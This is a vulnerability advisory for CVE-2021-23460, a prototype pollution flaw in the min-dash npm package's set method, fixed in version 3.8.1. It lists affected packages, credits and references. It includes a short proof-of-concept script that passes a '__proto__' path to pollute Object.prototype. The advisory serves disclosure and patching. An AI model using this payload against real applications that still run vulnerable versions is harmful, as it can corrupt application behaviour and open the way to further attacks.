high7.5
CVE-2021-23460
Prototype pollution in min-dash
Impact
### Impact The `set` method is vulnerable to prototype pollution with specially crafted inputs. ```javascript // insert the following into poc.js and run node poc,js (after installing the package) let parser = require("min-dash"); parser.set({}, [["__proto__"], "polluted"], "success"); console.log(polluted); ``` ### Patches `min-dash>=3.8.1` fix the issue. ### Workarounds No workarounds exist for the issue. ### References Closed via https://github.com/bpmn-io/min-dash/pull/21. ### Credits Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | min-dash | < 3.8.1 | 3.8.1 |
| maven | org.webjars.npm:min-dash | < 3.8.1 | 3.8.1 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Camunda | Min-Dash | before 3.8.1 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js%23L32
- https://github.com/bpmn-io/min-dash/pull/21
- https://github.com/bpmn-io/min-dash/pull/21/commits/5ab05cbc4fd8d5eafb7db540c491ed0906b9d320
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2342127
- https://snyk.io/vuln/SNYK-JS-MINDASH-2340605
- https://github.com/advisories/GHSA-2m53-83f3-562j
- https://github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j
- https://nvd.nist.gov/vuln/detail/CVE-2021-23460
- https://github.com/bpmn-io/min-dash/commit/2c6689e2aa29f4b66a4874a2f3003431e9db48d1
- https://github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js#L32